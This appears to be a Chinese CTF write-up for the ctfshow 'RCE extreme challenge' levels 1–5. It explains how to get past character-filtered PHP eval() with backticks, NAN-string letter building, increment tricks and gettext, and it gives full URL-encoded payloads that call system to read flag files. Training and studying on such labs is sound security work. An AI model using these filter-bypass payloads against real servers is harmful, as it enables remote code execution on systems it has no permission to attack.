ctfshow RCE极限挑战

# RCE挑战1

提示

php里可以使用反引号执行命令,比如`ls`;

过滤(.,相当于过滤了函数执行和文件名

可以直接echo 把反引号的结果打印出来

echo `cat /f*`;
1

也可以反引号执行命令,把结果写到文件里,再下载

`cat /f* > 1`;
1

1

# RCE挑战2

正则过滤了很多字符

if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }
1
2
3

ASCII码总共包括128个字符,范围是从0到127。扩展ASCII(通常称为“ANSI”或“ISO 8859-1”)则包含256个字符,范围是从0到255。这些字符包括控制字符、数字、字母和一些特殊符号

通过脚本爆破还有哪些字符可以使用

<?php
for($a = 0; $a < 256; $a++){
    if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($a))){
        echo chr($a)." ";
    }
}
# $ ' ( ) + , . / ; = [ ] _
?>
1
2
3
4
5
6
7
8

构造出字母

提示

(/) 表达式中的 _ 是 PHP 中的有效变量名,但在这个上下文中它被视为未定义变量。 当未定义变量用于数学运算时,PHP会将其视为0。因此,/ 实际上会被计算为 0/0,这是一个无效操作,结果是 NAN(Not A Number)所以可以得到字符NAN。(''/'')等效果相同,得到字符NAN.

通过判断的布尔值0,1构造数字,拿出NAN字符串里的字母

例如''==_,布尔值为0,那么$____=((_/_).'')[''=='$'];可以拿出N

构造$_POST[_],$_POST[__],动态调用函数RCE

师傅们写好的POST构造

$____=((_/_).'')[''=='$']; #N
$_____=++$____; #O
++$____; #P
$______=$____; #$______=P
++$____; #Q
++$____; #R
++$____; #S
$_______=$____; #$_______=S
++$____; #T
$________=$____; #$________=T
$_________=$______.$_____.$_______.$________; #POST
$_________='_'.$_________; #_POST
$$_________[_]($$_________[__]); #$_POST[_]($_POST[__];)
1
2
3
4
5
6
7
8
9
10
11
12
13

所以payload是下面这个,里面有$,=还需要url编码一下

$____=((_/_).'')[''=='$'];$_____=++$____; ++$____;$______=$____; ++$____;++$____;++$____; $_______=$____;++$____;$________=$____;$_________=$______.$_____.$_______.$________;$_________='_'.$_________;$$_________[_]($$_________[__]);
1

这里执行命令的payload

ctf_show=%24____%3D((_%2F_).'')%5B''%3D%3D'%24'%5D%3B%24_____%3D%2B%2B%24____%3B%20%2B%2B%24____%3B%24______%3D%24____%3B%20%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%20%24_______%3D%24____%3B%2B%2B%24____%3B%24________%3D%24____%3B%24_________%3D%24______.%24_____.%24_______.%24________%3B%24_________%3D'_'.%24_________%3B%24%24_________%5B_%5D(%24%24_________%5B__%5D)%3B&_=system&__=cat /f*;
1

因为0/0得到NAN字符串,所以GET应该也挺好构造,尝试一下$_GET[_],$_GET[__]

我的构造过程

<?php
# 三个下划线定义N,四个定义A,五个定义E,六个定义G,七个定义T,八个定义_GET。当然你可以选择变量覆盖
$___=((''/'').'')[''==_];# $___ = N
$____=((''/'').'')[''==''];# $____ = A
# 拿A 构造E
++$____;
++$____;
++$____;
$_____=++$____; 
var_dump($_____); # $_____ = E
# 继续拿G
++$____;
++$____;
$______ = $____;
var_dump($______); # $______ = G

# 拿N 构造 T
++$___;++$___;++$___;++$___;++$___;
$_______=++$___;
var_dump($_______);# $______ = T

# 拼接拿_GET
$________='_'.$______.$_____.$_______;
var_dump($________); # _GET
# 用_GET动调函数
$$________[_]($$________[__]);
var_dump($$________[_]($$________[__]));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

简洁版

<?php
$___=((''/'').'')[''==_];# $___ = N
$____=((''/'').'')[''==''];# $____ = A
++$____;
++$____;
++$____;
$_____=++$____; # $_____ = E

++$____;
++$____;
$______ = $____; # $______ = G

++$___;++$___;++$___;++$___;++$___;
$_______=++$___; # $______ = T# 

$________='_'.$______.$_____.$_______;
$$________[_]($$________[__]); # $_GET[_]($_GET[__])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

所以payload是下面这个,里面有$,=还需要url编码一下

$___=((''/'').'')[''==_];$____=((''/'').'')[''==''];++$____;++$____;++$____;$_____=++$____;++$____;++$____;$______ = $____;++$___;++$___;++$___;++$___;++$___;$_______=++$___;$________='_'.$______.$_____.$_______;$$________[_]($$________[__]);
1

post发包,get传参命令执行url?_=system&__=cat /f*

ctf_show=%24___%3D((''%2F'').'')%5B''%3D%3D_%5D%3B%24____%3D((''%2F'').'')%5B''%3D%3D''%5D%3B%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%24_____%3D%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%24______%20%3D%20%24____%3B%2B%2B%24___%3B%2B%2B%24___%3B%2B%2B%24___%3B%2B%2B%24___%3B%2B%2B%24___%3B%24_______%3D%2B%2B%24___%3B%24________%3D'_'.%24______.%24_____.%24_______%3B%24%24________%5B_%5D(%24%24________%5B__%5D)%3B
1

2

# RCE挑战3

放出了0,1,限制了payload的长度,缩短一下上面的构造

$_=((_/_)._)[0]; //同上,取NAN的第一个字母N
$_++; //O
$__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[1]); // $_POST[_]($_POST[1]);
1
2
3
4
5
6
7
8

payload

ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B1%5D)%3B&_=system&1=cat /f*
1

3

# RCE挑战4

把1过滤掉了,限制长度84

if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }
1
2
3

把上题的1改成0构造

$_=((_/_).$_)[0]; //同上,取NAN的第一个字母N
$_++; //O
$__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);
1
2
3
4
5
6
7
8

payload

ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&_=system&0=cat /f*
1

# RCE挑战5

过滤了0,限制长度73

if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }
1
2
3

原来取下标不需要通过''==_的布尔值01来取N,A,可以用未定义常量,php会返回Warning,取0下标元素出来

<?php
$_ = ((_/_)._)[_];
# Warning: Illegal string offset '_'
# string(1) "N"
var_dump($_);
1
2
3
4
5

题目调用的phpinfo()函数里可以看到安装并开启了gettext扩展,这个扩展可以用_()来调用gettext函数,转化成字符串

$_=_(_/_)[_];  //相当于gettext(0/0)[0],得到N
1

可以用不可见字符来减少长度,比如用$%FA ,73位预期解

<?php
$_=_(_/_)[_];//相当于gettext(0/0)[0],得到N
$_=++$_;//O
$%FA=_.++$_.$_;//_PO
$_++;$_++;//R
$%FA.=++$_.++$_;//_POST
$$_[_]($$_[%FA]);//$_POST[a]($_POST[_])
1
2
3
4
5
6
7

62位非预期

<?PHP
$_=_(%FA.%FA)[_];//N  //本地使用就用(_._._)[_],或者安装了一个扩展gettext
$%FA=++$_;//O
$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[_]); //$_POST[_POST]($_POST[_])
1
2
3
4

payload,用bp发包

ctf_show=$_=(_/_._)[_];$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_[_]($$_[%FA]);&_=system&%FA=cat /f*
1

5

参考

最后一次更新于: 2024/10/13, 18:03:11